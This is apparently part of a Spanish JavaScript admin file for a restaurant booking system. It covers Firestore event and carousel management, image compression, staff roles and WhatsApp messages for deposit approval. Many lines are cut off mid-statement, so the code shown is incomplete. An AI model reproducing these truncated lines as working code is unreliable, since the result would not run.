// fAbono. Sin este botón, ese número se seguía regrabando cada vez que
// se guardaba la reserva — aunque en la tarjeta ya no se viera ningún
// abono activo — y por eso aparecía en los informes como si todavía
// tuviera abono. Hay que tocar "Guardar reserva" después de esto para
// que el cambio quede en Firestore.
function quitarAbonoLegacy(){
  document.getElementById('fAbono').value = '0';
  document.getElementById('abonoLegacyAviso').style.display = 'none';
}

// ===== Envío a aprobación del comprobante de abono (mesa o cover) =====
```

```
// Después de cargar un abono con su comprobante, este botón arma un
// mensaje con los datos del cliente (mismo orden que ya se usaba antes
// para reportar pagos) y abre WhatsApp hacia el número fijo de
// aprobación de abonos. La FOTO del comprobante no se manda desde acá
// —Guillermo la envía aparte, por su cuenta— este botón solo arma el
// texto para no tener que escribirlo a mano cada vez.
const NUMERO_APROBACION_ABONOS = '573218029306';
// tipo: 'mesa' o 'cover' — decide el título grande y de cuál lista de
// abonos (abonoPactadoAbonosTemp o coverAbonosTemp) se sacan los montos.
// "Abona ahora" es el ÚLTIMO abono agregado a esa lista — el que el
// staff acaba de cargar con su comprobante, justo antes de tocar este
// botón — para que se pueda comparar ese número contra el voucher.
function armarMensajeAprobacionAbono(tipo){
  let tituloTexto, total, totalAbonado, montoAhora;
  if(tipo === 'cover'){
    const porPersona = numCampo('fCoverValor') || 0;
    const pax = Number(document.getElementById('fPax').value) || 0;
    total = porPersona * pax;
    totalAbonado = coverAbonosTemp.reduce((s,a) => s + Number(a.monto||0), 0);
    montoAhora = coverAbonosTemp.length ? Number(coverAbonosTemp[coverAbonosTemp.
    tituloTexto = '*COVER*';
  } else {
    total = numCampo('fAbonoPactadoValor');
    totalAbonado = abonoPactadoAbonosTemp.reduce((s,a) => s + Number(a.monto||0),
    montoAhora = abonoPactadoAbonosTemp.length ? Number(abonoPactadoAbonosTemp[ab
    tituloTexto = '*ABONO POR MESA*';
  }
  const pendiente = total - totalAbonado;
  const lineasMonto = [
    tituloTexto,
    `Total: $${total.toLocaleString('es-CO')}`,
    `Abona ahora: $${montoAhora.toLocaleString('es-CO')}`,
    `Saldo pendiente: $${pendiente.toLocaleString('es-CO')}`,
  ];

  const nombre = document.getElementById('fNombre').value.trim();
  const celularCompleto = armarCelularCompleto(document.getElementById('fCelularC
  const correo = document.getElementById('fCorreo').value.trim();
  const pax = document.getElementById('fPax').value;
  const hora = document.getElementById('fHora').value;
  // Misma lógica que guardarReserva() para saber la fecha real de la
  // reserva: si el bloque de "Fecha y turno" está visible (solo pasa al
  // editar), se usa lo que haya ahí; si no, modalFecha (fijo, reserva nueva).
  let fechaFinal = modalFecha;
  const fechaReservaEditBlock = document.getElementById('fechaReservaEditBlock');
  if(fechaReservaEditBlock && fechaReservaEditBlock.style.display !== 'none'){
    fechaFinal = document.getElementById('fFechaReservaEdit').value || modalFecha
```

```
  }
  let fechaTexto = '';
  if(fechaFinal){
    const [y,m,d] = fechaFinal.split('-').map(Number);
    const mesTexto = MESES[m-1] ? MESES[m-1].charAt(0).toUpperCase() + MESES[m-1]
    fechaTexto = `${d}-${mesTexto}-${y}`;
  }
  const horaTexto = hora ? formatearHora12(hora) : '';
  const lineasDatos = [];
  if(fechaTexto) lineasDatos.push(`Fecha: ${fechaTexto}`);
  if(horaTexto) lineasDatos.push(`Hora: ${horaTexto}`);
  if(nombre) lineasDatos.push(`Nombre: ${nombre}`);
  if(pax) lineasDatos.push(`Número de Personas: ${pax}`);
  if(celularCompleto) lineasDatos.push(`Teléfono de Contacto: Cel. ${celularCompl
  if(correo) lineasDatos.push(`Correo electrónico: ${correo}`);

  return lineasMonto.join('\n') + '\n\n' + lineasDatos.join('\n');
}
function enviarAbonoAprobacion(ev, tipo){
  const mensaje = armarMensajeAprobacionAbono(tipo);
  const url = `https://wa.me/${NUMERO_APROBACION_ABONOS}?text=${encodeURIComponen
  return abrirWhatsappForzado(url, ev);
}
function previsualizarComprobanteCover(input){
  const file = input.files[0];
  if(!file) return;
  const reader = new FileReader();
  reader.onload = e => {
    const img = new Image();
    img.onload = () => {
      // Mismo criterio de compresión que las imágenes de eventos — el
      // comprobante suele ser una captura de pantalla de Nequi/Bancolombia,
      // así que con 700px de ancho se lee perfecto y pesa poco.
      const maxW = 700;
      const escala = Math.min(1, maxW / img.width);
      const canvas = document.createElement('canvas');
      canvas.width = Math.round(img.width * escala);
      canvas.height = Math.round(img.height * escala);
      const ctx = canvas.getContext('2d');
      ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
      let calidad = 0.72;
      let resultado = canvas.toDataURL('image/jpeg', calidad);
      while(resultado.length > 700000 && calidad > 0.2){
        calidad -= 0.12;
        resultado = canvas.toDataURL('image/jpeg', calidad);
      }
      coverComprobanteBase64Temp = resultado;
```

```
      const preview = document.getElementById('fCoverComprobantePreview');
      preview.src = coverComprobanteBase64Temp;
      preview.style.display = 'block';
      document.getElementById('fCoverComprobanteLabel').textContent = '📎 Cambiar
    };
    img.src = e.target.result;
  };
  reader.readAsDataURL(file);
}

function previsualizarImagenEvento(input){
  const file = input.files[0];
  if(!file) return;
  const errEl = document.getElementById('eventoModalError');
  errEl.textContent = '';
  const reader = new FileReader();
  reader.onload = e => {
    const img = new Image();
    img.onload = () => {
      // Los pósters de eventos suelen tener mucho detalle (fotos, texto,
      // texturas) y pesan más que las fotos del carrusel — por eso acá se
      // usa un ancho más chico (700px) y, si aun así queda pesado, se va
      // bajando la calidad varias veces hasta quedar bien por debajo del
      // límite de 1MB por documento que tiene Firestore.
      const maxW = 700;
      const escala = Math.min(1, maxW / img.width);
      const canvas = document.createElement('canvas');
      canvas.width = Math.round(img.width * escala);
      canvas.height = Math.round(img.height * escala);
      const ctx = canvas.getContext('2d');
      ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
      let calidad = 0.72;
      let resultado = canvas.toDataURL('image/jpeg', calidad);
      // 700,000 caracteres de base64 ≈ ~525KB reales — deja margen de
      // sobra para el resto de los campos del evento dentro del límite
      // de 1MB del documento.
      while(resultado.length > 700000 && calidad > 0.2){
        calidad -= 0.12;
        resultado = canvas.toDataURL('image/jpeg', calidad);
      }
      if(resultado.length > 900000){
        errEl.textContent = 'Esta imagen sigue muy pesada incluso comprimida — pr
        return;
      }
      eventoImagenBase64Temp = resultado;
      const preview = document.getElementById('fEventoImagenPreview');
      preview.src = eventoImagenBase64Temp;
```

```
      preview.style.display = 'block';
    };
    img.src = e.target.result;
  };
  reader.readAsDataURL(file);
}

// Lista de planos de evento (los que se crean desde Salones → "+ Nuevo
// plano") para poder asignarle uno a un evento especial. Se cachea una
// vez y se reusa cada vez que se abre el modal de crear/editar evento —
// no hace falta re-consultar Firestore cada vez.
let planosEventoCacheParaSelect = null;
function cargarOpcionesPlanoEvento(seleccionActual){
  const sel = document.getElementById('fEventoPlano');
  function pintar(){
    sel.innerHTML = '<option value="">General (el de todos los días)</option>'
      + planosEventoCacheParaSelect.map(p => `<option value="${p.id}">${p.nombre}
    sel.value = seleccionActual || '';
  }
  if(planosEventoCacheParaSelect){ pintar(); return; }
  db.collection('planosMesasEventos').get().then(snap => {
    planosEventoCacheParaSelect = snap.docs.map(d => ({id: d.id, nombre: d.data()
    pintar();
  }).catch(err => {
    console.error('Error cargando la lista de planos de evento:', err);
    sel.innerHTML = '<option value="">General (el de todos los días)</option>';
  });
}
function abrirModalEvento(){
  document.getElementById('eventoModalTitulo').textContent = 'Crear evento especi
  document.getElementById('fEventoEditId').value = '';
  document.getElementById('fEventoNombre').value = '';
  document.getElementById('fEventoFecha').value = '';
  document.getElementById('fEventoHoraEntrada').value = '';
  document.getElementById('fEventoDescripcion').value = '';
  document.getElementById('fEventoValor').value = '';
  document.getElementById('fEventoAplicaCover').checked = false;
  document.getElementById('fEventoActivo').checked = true;
  document.getElementById('fEventoImagenArchivo').value = '';
  document.getElementById('fEventoImagenPreview').style.display = 'none';
  eventoImagenBase64Temp = null;
  elegirTurnoEvento('cena');
  cargarOpcionesPlanoEvento('');
  document.getElementById('sincronizarHoraBloque').style.display = 'none';
  document.getElementById('eventoModalError').textContent = '';
  document.getElementById('overlayEvento').classList.add('open');
}
```

```
function editarEvento(id){
  const ev = eventosCache.find(e => e.id === id);
  if(!ev) return;
  document.getElementById('eventoModalTitulo').textContent = 'Editar evento espec
  document.getElementById('fEventoEditId').value = id;
  document.getElementById('fEventoNombre').value = ev.nombre || '';
  document.getElementById('fEventoFecha').value = ev.fecha || '';
  document.getElementById('fEventoHoraEntrada').value = ev.horaEntrada || '';
  document.getElementById('fEventoDescripcion').value = ev.descripcion || '';
  document.getElementById('fEventoValor').value = ev.valorEntrada ? Number(ev.val
  document.getElementById('fEventoAplicaCover').checked = ev.aplicaCover === true
  document.getElementById('fEventoActivo').checked = ev.activo !== false;
  document.getElementById('fEventoImagenArchivo').value = '';
  eventoImagenBase64Temp = ev.imagen || null;
  const preview = document.getElementById('fEventoImagenPreview');
  if(ev.imagen){ preview.src = ev.imagen; preview.style.display = 'block'; }
  else { preview.style.display = 'none'; }
  elegirTurnoEvento(ev.turno || 'cena');
  cargarOpcionesPlanoEvento(ev.planoId || '');
  document.getElementById('sincronizarHoraBloque').style.display = 'block';
  document.getElementById('eventoModalError').textContent = '';
  document.getElementById('overlayEvento').classList.add('open');
}
function cerrarModalEvento(){
  document.getElementById('overlayEvento').classList.remove('open');
}
// Utilidad puntual: cambiar la "Hora de entrada" de un evento (arriba en
// este mismo formulario) NO actualiza las reservas que ya existían para
// ese evento — cada una guarda su propia hora, independiente de la del
// evento, por si alguna vez alguien necesita una hora distinta a la
// general (ej. un VIP que entra antes). Este botón sirve para cuando SÍ
// se quiere que todas se muevan parejo: busca todas las reservas con el
// eventoId de este evento y les pone la hora de entrada actual del
// formulario, sin excepción.
function sincronizarHoraReservasEvento(){
  const editId = document.getElementById('fEventoEditId').value;
  const nuevaHora = document.getElementById('fEventoHoraEntrada').value;
  const nombreEvento = document.getElementById('fEventoNombre').value.trim();
  if(!editId || !nuevaHora){ alert('Primero guarda la hora de entrada del evento.
  const afectadas = reservas.filter(r => r.eventoId === editId);
  if(afectadas.length === 0){ alert('No hay ninguna reserva guardada todavía para
  const horaLegible = (typeof formatearHora12 === 'function') ? formatearHora12(n
  const confirmar = confirm(`Esto va a cambiar la hora a ${horaLegible} en ${afec
  if(!confirmar) return;
  const btn = document.getElementById('btnSincronizarHoraEvento');
  const textoOriginal = btn.textContent;
  btn.disabled = true; btn.textContent = 'Actualizando…';
```

```
  const lote = db.batch();
  afectadas.forEach(r => lote.update(reservasRef.doc(r.id), { hora: nuevaHora }))
  lote.commit().then(() => {
    alert(`Listo — se actualizó la hora en ${afectadas.length} reserva(s).`);
  }).catch(err => {
    console.error('Error sincronizando hora de reservas del evento:', err);
    alert('No se pudo actualizar. Detalle: ' + (err && err.message ? err.message
  }).finally(() => {
    btn.disabled = false; btn.textContent = textoOriginal;
  });
}
function guardarEvento(){
  const errEl = document.getElementById('eventoModalError');
  errEl.textContent = '';
  const nombre = document.getElementById('fEventoNombre').value.trim();
  const fecha = document.getElementById('fEventoFecha').value;
  const horaEntrada = document.getElementById('fEventoHoraEntrada').value;
  const turno = document.getElementById('fEventoTurno').value;
  const descripcion = document.getElementById('fEventoDescripcion').value.trim();
  const valorEntrada = numCampo('fEventoValor') || null;
  const activo = document.getElementById('fEventoActivo').checked;
  const aplicaCover = document.getElementById('fEventoAplicaCover').checked;
  const planoId = document.getElementById('fEventoPlano').value || null;
  if(!nombre || !fecha || !horaEntrada){ errEl.textContent = 'El nombre, la fecha
  const editId = document.getElementById('fEventoEditId').value;
  const data = {nombre, fecha, horaEntrada, turno, descripcion, valorEntrada, act
  const btn = document.getElementById('btnGuardarEvento');
  btn.disabled = true; btn.textContent = 'Guardando…';
  const promesa = editId ? eventosRef.doc(editId).update(data) : eventosRef.add(d
  promesa.then(() => {
    cerrarModalEvento();
    cargarEventosConfig();
  }).catch(err => {
    console.error('Error guardando evento:', err);
    // Mostramos el motivo real, no un mensaje genérico — así se sabe de
    // una vez si es un tema de permisos (falta la regla de Firestore
    // para "eventos") o si la imagen quedó demasiado pesada.
    if(err.code === 'permission-denied'){
      errEl.textContent = 'No tienes permiso para guardar esto — falta agregar la
    } else if(err.message && err.message.includes('longer than')){
      errEl.textContent = 'La imagen quedó demasiado pesada para guardarla. Inten
    } else {
      errEl.textContent = `No se pudo guardar el evento (${err.code || err.messag
    }
  }).finally(() => {
    btn.disabled = false; btn.textContent = 'Guardar';
  });
```

```
}
function eliminarEvento(id){
  const ev = eventosCache.find(e => e.id === id);
  if(!confirm(`¿Eliminar el evento "${ev ? ev.nombre : ''}"? Esto NO borra las re
  eventosRef.doc(id).delete().then(cargarEventosConfig).catch(err => {
    console.error('Error eliminando evento:', err);
    alert('No se pudo eliminar el evento.');
  });
}

// ===== Reserva por teléfono para un evento especial =====
// El staff puede indicar, al crear una reserva nueva por teléfono, si es
// una reserva normal o si es para uno de los eventos especiales ya
// configurados en Config → Eventos especiales. Si elige un evento, la
// fecha, el turno y la hora quedan fijos a lo que ya se configuró para
// ese evento (el staff no los toca) — solo sigue con el resto del
// formulario (celular, nombre, pax, etc.) igual que siempre.
let tipoReservaActual = 'normal';
let eventosActivosCache = [];
let eventoSeleccionadoParaReserva = null;

// Aviso (no bloquea nada) para cuando el staff arma una reserva "normal"
// justo en la fecha/turno de un evento especial activo — igual que
// guardarReserva()/enviarParaAprobacion() ya la van a marcar con ese
// evento automáticamente (ver evCorrespondiente ahí), esto se lo avisa
// ANTES de guardar, para que no se sorprenda después ni se le olvide
// revisar si ese evento exige cover.
function actualizarAvisoEventoNormalTelefono(){
  const el = document.getElementById('avisoEventoNormalTelefono');
  if(!el) return;
  if(tipoReservaActual !== 'normal'){ el.style.display = 'none'; return; }
  const fFecha = document.getElementById('fFechaReservaEdit');
  const fTurno = document.getElementById('fTurnoReservaEdit');
  const fecha = (fFecha && fFecha.value) || modalFecha;
  const turno = (fTurno && fTurno.value) || modalTurno;
  const ev = eventosCache.find(e => e.fecha === fecha && e.turno === turno && e.a
  if(!ev){ el.style.display = 'none'; return; }
  const turnoLabels = {desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cena'};
  const imgEl = document.getElementById('avisoEventoNormalTelefonoImg');
  if(ev.imagen){ imgEl.src = ev.imagen; imgEl.style.display = 'block'; }
  else { imgEl.style.display = 'none'; imgEl.removeAttribute('src'); }
  document.getElementById('avisoEventoNormalTelefonoTexto').innerHTML =
    `🎤 Este turno (${turnoLabels[turno]||turno}) tiene el evento especial <b>"${
  el.style.display = 'block';
}

function elegirTipoReserva(tipo){
```

```
  tipoReservaActual = tipo;  const btnN = document.getElementById('btnTipoNormal'
  const btnE = document.getElementById('btnTipoEvento');
  if(btnN){ btnN.style.background = tipo==='normal' ? 'var(--gold)' : ''; btnN.st
  if(btnE){ btnE.style.background = tipo==='evento' ? 'var(--gold)' : ''; btnE.st
  const evBlock = document.getElementById('eventoSeleccionBlock');
  if(evBlock) evBlock.style.display = (tipo==='evento') ? 'block' : 'none';
  if(tipo === 'evento'){
    // Todos los eventos especiales ya tienen su propia fecha y hora
    // configurada — no tiene sentido mostrar el selector genérico de
    // fecha/turno/hora ni siquiera antes de elegir cuál evento es, así
    // que se oculta de una vez al entrar a este modo, no solo después
    // de tocar una tarjeta puntual.
    document.getElementById('fechaReservaEditBlock').style.display = 'none';
    document.getElementById('horaWheelBlock').style.display = 'none';
  }
  if(tipo === 'normal'){
    eventoSeleccionadoParaReserva = null;
    const sel = document.getElementById('fEventoSeleccionado');
    if(sel) sel.value = '';
    const resumen = document.getElementById('eventoSeleccionadoResumen');
    if(resumen) resumen.style.display = 'none';
    const parrilla = document.getElementById('parrillaEventosTelefono');
    if(parrilla) parrilla.style.display = 'flex';
    const wheelBlock = document.getElementById('horaWheelBlock');
    if(wheelBlock) wheelBlock.style.display = 'block';
    const eventoFija = document.getElementById('eventoFechaFijaResumen');
    if(eventoFija) eventoFija.style.display = 'none';
    // A diferencia de lo que se pensó antes: una reserva nueva por
    // teléfono SIEMPRE arranca mostrando "Fecha y turno de la reserva"
    // visible (no solo la hora) — por eso, al volver de "Evento especial"
    // a "Reserva normal", hay que restaurar esa sección a la vista,
    // no dejarla oculta.
    document.getElementById('fechaReservaEditBlock').style.display = 'block';
  }
  actualizarAvisoEventoNormalTelefono();
}

function cargarEventosActivosParaSelector(){
  const cont = document.getElementById('parrillaEventosTelefono');
  if(!cont) return;
  cont.innerHTML = '<div style="color:var(--text-muted); font-size:12.5px; paddin
  const hoy = fechaISO(new Date());
  // Se trae la colección completa y se filtra aquí mismo (no con
  // .where() en la consulta) — así no depende de que Firestore tenga
  // listo un índice para el filtro, que es la causa más común de que
  // esto falle en silencio.
  eventosRef.get().then(snap => {
```

```
    eventosActivosCache = snap.docs.map(d => ({id:d.id, ...d.data()}))
      .filter(ev => ev.activo !== false && ev.fecha >= hoy)
      .sort((a,b) => a.fecha.localeCompare(b.fecha));
    renderParrillaEventosTelefono();
  }).catch(err => {
    console.error('No se pudieron cargar los eventos activos:', err);
    cont.innerHTML = '<div style="color:var(--text-muted); font-size:12.5px; padd
  });
}

// Pinta la misma idea de "parrilla" que ve el cliente en eventos.html,
// pero como tarjetas chiquitas dentro del modal — con foto, nombre y
// fecha — para que el staff elija tocando, igual de fácil que el cliente.
function renderParrillaEventosTelefono(){
  const cont = document.getElementById('parrillaEventosTelefono');
  if(!cont) return;
  if(eventosActivosCache.length === 0){
    cont.innerHTML = '<div style="color:var(--text-muted); font-size:12.5px; padd
    return;
  }
  cont.innerHTML = eventosActivosCache.map(ev => `
    <div class="parrilla-evento-card" data-evento-id="${ev.id}" onclick='elegirEv
      ${ev.imagen ? `<img src="${ev.imagen}" style="width:56px; height:56px; obje
      <div style="flex:1; min-width:0;">
        <div style="font-weight:700; font-size:13.5px; overflow:hidden; text-over
        <div style="font-size:12px; color:var(--text-muted);">${escapeHtml(ev.fec
      </div>
    </div>`).join('');
}

// Pinta el resumen grande de "fecha y hora fijas al evento" — nombre en
// grande, fecha larga bien legible, turno y hora de entrada, más la misma
// foto de publicidad del evento (chiquita, si la tiene) para que se
// reconozca de un vistazo. La usan tanto el flujo normal (elegirEventoTelefono,
// abajo) como el de "Promotor de eventos" (ver abrirModal), para que las dos
// pantallas se vean exactamente igual y no se vuelvan a desincronizar.
const TURNO_LABEL_TEL = {desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cena'};
function mostrarEventoFechaFija(nombre, imagen, fecha, turno, horaEntrada){
  const imgEl = document.getElementById('eventoFechaFijaResumenImg');
  if(imagen){ imgEl.src = imagen; imgEl.style.display = 'block'; }
  else { imgEl.style.display = 'none'; imgEl.removeAttribute('src'); }
  document.getElementById('eventoFechaFijaResumenNombre').textContent = nombre ||
  const fechaLarga = (() => {
    try{
      const d = parseISO(fecha);
      const txt = new Intl.DateTimeFormat('es-CO',{weekday:'long', day:'numeric',
      return txt.charAt(0).toUpperCase()+txt.slice(1);
```

```
    }catch(e){ return fecha; }
  })();
  const horaLegible = horaEntrada ? formatearHora12(horaEntrada) : '';
  document.getElementById('eventoFechaFijaResumenTexto').innerHTML =
    `${escapeHtml(fechaLarga)}<br>${escapeHtml(TURNO_LABEL_TEL[turno]||turno||'')
  document.getElementById('eventoFechaFijaResumen').style.display = 'block';
}
// Único lugar donde se decide si, en este momento, la fecha/turno/hora
// están fijas por un evento — lo usan elegirCanalNuevo y
// autoSeleccionarTurnoPorHoraTelefono para NO pisar ese bloqueo (ver notas
// ahí abajo). Basta con mirar si el resumen de arriba está visible.
function hayEventoConFechaFija(){
  const el = document.getElementById('eventoFechaFijaResumen');
  return !!(el && el.style.display === 'block');
}

function elegirEventoTelefono(id){
  const ev = eventosActivosCache.find(e => e.id === id);
  if(!ev) return;
  document.getElementById('fEventoSeleccionado').value = id;
  eventoSeleccionadoParaReserva = ev;
  modalFecha = ev.fecha;
  modalTurno = ev.turno;
  document.getElementById('fFechaReservaEdit').value = ev.fecha;
  document.getElementById('fTurnoReservaEdit').value = ev.turno;
  document.getElementById('fHora').value = ev.horaEntrada;
  // Fecha, turno y hora quedan fijos al evento — se oculta TODA esa
  // sección (no solo la rueda de hora) para que el staff no la pueda
  // tocar, y se muestra en su lugar un resumen fijo con lo que ya quedó
  // configurado al crear el evento.
  document.getElementById('fechaReservaEditBlock').style.display = 'none';
  document.getElementById('horaWheelBlock').style.display = 'none';
  mostrarEventoFechaFija(ev.nombre, ev.imagen, ev.fecha, ev.turno, ev.horaEntrada
  document.getElementById('parrillaEventosTelefono').style.display = 'none';
  document.getElementById('eventoSeleccionadoResumenTexto').textContent = `🎤 ${e
  document.getElementById('eventoSeleccionadoResumen').style.display = 'block';
  document.getElementById('modalSub').textContent = `${ev.nombre} · ${ev.fecha}`;
  // Si el evento tiene valor de entrada definido, se marca el cover de una
  // vez y se prellena con ese valor — el staff lo puede ajustar a mano si
  // el total cambia según cuántas personas paguen entrada.
  if(ev.valorEntrada){
    document.getElementById('fTieneCover').checked = true;
    document.getElementById('fCoverValor').value = Number(ev.valorEntrada).toLoca
    toggleCoverFields();
  }
}
```

```
// Por si el staff se equivocó de evento y quiere volver a ver la
// parrilla completa para elegir otro. OJO: sigue en modo "evento", así
// que la fecha/turno/hora genéricas NO se vuelven a mostrar — cualquier
// evento que elija después también trae la suya propia.
function cambiarEventoSeleccionado(){
  document.getElementById('fEventoSeleccionado').value = '';
  eventoSeleccionadoParaReserva = null;
  document.getElementById('eventoSeleccionadoResumen').style.display = 'none';
  document.getElementById('parrillaEventosTelefono').style.display = 'flex';
  document.getElementById('eventoFechaFijaResumen').style.display = 'none';
  renderParrillaEventosTelefono();
}

// ===== CARRUSEL DE EVENTOS (página pública reservasbq.com) =====
// Se guarda en Firestore como un solo documento (configuracion/carrusel)
// con un arreglo de fotos. La página pública (index.html) lo lee sin
// necesitar sesión iniciada — por eso las reglas de Firestore deben
// permitir lectura pública de ESTE documento en particular (ver nota que
// le doy a Guillermo en el chat). A propósito NO se pide título ni texto:
// la foto ya trae su propio diseño e información, así que aquí solo se
// sube, se reordena o se borra — nada más.
let carruselCache = [];
let slideImgBase64Temp = null;

// Cada foto del carrusel vive en su PROPIO documento de la colección
// carruselFotos — así el límite de 1MB de Firestore aplica a cada foto
// por separado, no a la suma de todas juntas (antes vivían todas en un
// mismo documento configuracion/carrusel y por eso el carrusel se
// "llenaba" aunque cada foto individual pesara poco).
// La primera vez que se abre esta pantalla después de esta actualización,
// si todavía no hay nada en carruselFotos pero sí había fotos guardadas
// en el formato viejo, se migran automáticamente una por una — para no
// perder las que ya se habían subido.
// La migración desde el formato viejo (todas las fotos juntas en un solo
// documento) se hace UNA SOLA VEZ de verdad — queda marcada en
// configuracion/carruselMigrado. Antes se decidía mirando si la
// colección nueva estaba vacía, pero eso hacía que las fotos volvieran
// a aparecer solas cada vez que se borraban todas (porque el archivo
// viejo seguía intacto y el sistema pensaba "todavía no se migró").
function cargarCarruselConfig(){
  const el = document.getElementById('listaCarrusel');
  if(!el) return;
  db.collection('configuracion').doc('carruselMigrado').get().then(migDoc => {
    if(migDoc.exists && migDoc.data().hecho) return null;
    return db.collection('configuracion').doc('carrusel').get().then(oldDoc => {
      const oldSlides = (oldDoc.exists ? oldDoc.data().slides : []) || [];
      const batch = db.batch();
```

```
      oldSlides.forEach((s, i) => {
        batch.set(db.collection('carruselFotos').doc(), {img: s.img, orden: i});
      });
      batch.set(db.collection('configuracion').doc('carrusel'), {slides: []});
      batch.set(db.collection('configuracion').doc('carruselMigrado'), {hecho: tr
      return batch.commit();
    });
  }).then(() => db.collection('carruselFotos').get()).then(snap => {
    carruselCache = snap.docs.map(d => ({id: d.id, ...d.data()})).sort((a,b) => (
    if(carruselCache.length === 0){
      el.innerHTML = '<div class="config-mensaje-sub">Todavía no has subido ningu
      return;
    }
    el.innerHTML = carruselCache.map((s, i) => `
      <div class="carrusel-config-item">
        <div class="carrusel-config-numero">${i+1}</div>
        <img src="${s.img}">
        <button class="carrusel-config-borrar" onclick='eliminarSlide(${JSON.stri
        <div class="carrusel-config-mover-bar">
          <button onclick="moverSlide(${i},-1)" ${i===0?'disabled':''} title="Mov
          <button onclick="moverSlide(${i},1)" ${i===carruselCache.length-1?'disa
        </div>
      </div>`).join('');
  }).catch(err => {
    console.error('Error cargando el carrusel:', err);
    el.innerHTML = '<div class="config-mensaje-sub">No se pudo cargar el carrusel
  });
}

function abrirModalSlide(){
  slideImgBase64Temp = null;
  document.getElementById('fSlideArchivo').value = '';
  document.getElementById('slideModalError').textContent = '';
  document.getElementById('fSlidePreview').style.display = 'none';
  document.getElementById('overlaySlide').classList.add('open');
}
function cerrarModalSlide(){
  document.getElementById('overlaySlide').classList.remove('open');
}

// Comprime la foto en el navegador antes de guardarla: la reduce a un
// ancho máximo de 700px y la vuelve JPEG, bajando la calidad varias veces
// si hace falta hasta quedar bien liviana. Cada foto vive en su propio
// documento de Firestore (tope real: 1MB por documento), así que esto
// solo cuida que ESA foto en particular no sea demasiado pesada.
function previsualizarSlide(input){
  const file = input.files[0];
```

```
  if(!file) return;
  const errEl = document.getElementById('slideModalError');
  errEl.textContent = '';
  const reader = new FileReader();
  reader.onload = e => {
    const img = new Image();
    img.onload = () => {
      const maxW = 700;
      const escala = Math.min(1, maxW / img.width);
      const canvas = document.createElement('canvas');
      canvas.width = Math.round(img.width * escala);
      canvas.height = Math.round(img.height * escala);
      const ctx = canvas.getContext('2d');
      ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
      let calidad = 0.72;
      let resultado = canvas.toDataURL('image/jpeg', calidad);
      while(resultado.length > 350000 && calidad > 0.2){
        calidad -= 0.12;
        resultado = canvas.toDataURL('image/jpeg', calidad);
      }
      if(resultado.length > 500000){
        errEl.textContent = 'Esta imagen sigue muy pesada incluso comprimida — pr
        return;
      }
      slideImgBase64Temp = resultado;
      const preview = document.getElementById('fSlidePreview');
      preview.src = slideImgBase64Temp;
      preview.style.display = 'block';
    };
    img.onerror = () => { errEl.textContent = 'No se pudo leer esa imagen. Prueba
    img.src = e.target.result;
  };
  reader.readAsDataURL(file);
}

function guardarSlide(){
  const errEl = document.getElementById('slideModalError');
  errEl.textContent = '';
  if(!slideImgBase64Temp){ errEl.textContent = 'Elige una foto primero.'; return;

  const btn = document.getElementById('btnGuardarSlide');
  btn.disabled = true; btn.textContent = 'Guardando…';

  // Ahora cada foto es su propio documento — se agrega al final del orden
  // actual. Ya no hace falta revisar el peso de TODAS las fotos juntas,
  // porque cada una vive por separado en su propio límite de 1MB.
  db.collection('carruselFotos').add({img: slideImgBase64Temp, orden: carruselCac
```

```
    cerrarModalSlide();
    cargarCarruselConfig();
  }).catch(err => {
    console.error('Error guardando carrusel:', err);
    errEl.textContent = `No se pudo guardar (${err.code || err.message || 'error
  }).finally(() => {
    btn.disabled = false; btn.textContent = 'Guardar';
  });
}

function eliminarSlide(id){
  if(!confirm('¿Borrar esta foto del carrusel de la página pública?')) return;
  db.collection('carruselFotos').doc(id).delete().then(cargarCarruselConfig).catc
    console.error('Error borrando foto del carrusel:', err);
    alert('No se pudo borrar la foto. Revisa tu conexión e intenta de nuevo.');
  });
}

function moverSlide(indice, direccion){
  const otro = indice + direccion;
  if(otro < 0 || otro >= carruselCache.length) return;
  const a = carruselCache[indice], b = carruselCache[otro];
  const batch = db.batch();
  batch.update(db.collection('carruselFotos').doc(a.id), {orden: b.orden});
  batch.update(db.collection('carruselFotos').doc(b.id), {orden: a.orden});
  batch.commit().then(cargarCarruselConfig).catch(err => {
    console.error('Error moviendo foto del carrusel:', err);
    alert('No se pudo mover la foto. Revisa tu conexión e intenta de nuevo.');
  });
}

function nombreRol(rol){
  if(rol === 'admin') return 'Administrador';
  if(rol === 'consulta') return 'Consulta';
  if(rol === 'host') return 'Host';
  return 'Operativo';
}

function cargarUsuariosConfig(){
  const el = document.getElementById('listaUsuarios');
  if(!el) return;
  db.collection('usuarios').get().then(snap => {
    usuariosCache = snap.docs.map(d => ({id:d.id, ...d.data()}));
    poblarSelectorInformeResponsable();
    if(usuariosCache.length === 0){
      el.innerHTML = '<div class="config-mensaje-sub">Todavía no has creado ningú
      return;
```

```
    }
    el.innerHTML = usuariosCache.map(u => {
      // Los usuarios creados antes de que existiera esta función de niveles
      // no tienen campo "rol" guardado — a esos los tratamos como admin
      // (igual que hace el login), para no quitarle acceso a nadie de golpe.
      const rol = u.rol || 'admin';
      return `
      <div style="display:flex; align-items:center; justify-content:space-between
        <div>
          <div style="font-weight:700; font-size:13.5px;">${escapeHtml(u.iniciale
          <div style="font-size:12px; color:var(--text-dim);">Usuario: ${escapeHt
        </div>
        <div style="display:flex; flex-direction:column; gap:6px; align-items:str
          <select onchange='cambiarRolUsuario(${JSON.stringify(u.id)}, this.value
            <option value="consulta" ${rol==='consulta'?'selected':''}>Consulta</
            <option value="operativo" ${rol==='operativo'?'selected':''}>Operativ
            <option value="host" ${rol==='host'?'selected':''}>Host</option>
            <option value="admin" ${rol==='admin'?'selected':''}>Administrador</o
          </select>
          <button class="btn-config-restaurar" onclick='abrirModalEditarUsuario($
          <button class="btn-config-restaurar" onclick='toggleActivoUsuario(${JSO
          <button class="btn-config-restaurar" style="color:#e05a5a; border-color
        </div>
      </div>`;
    }).join('');
  });
}

function cambiarRolUsuario(uid, nuevoRol){
  db.collection('usuarios').doc(uid).update({rol: nuevoRol}).then(cargarUsuariosC
}

// No se puede borrar la cuenta de Firebase Auth de otro usuario desde el
// navegador (eso requiere el panel de Firebase o un backend con permisos
// de administrador) — así que en vez de eliminarlo, lo marcamos como
// "activo:false" y el login lo rechaza automáticamente la próxima vez que
// intente entrar, sin afectar las reservas que ya haya creado.
function toggleActivoUsuario(uid, nuevoActivo){
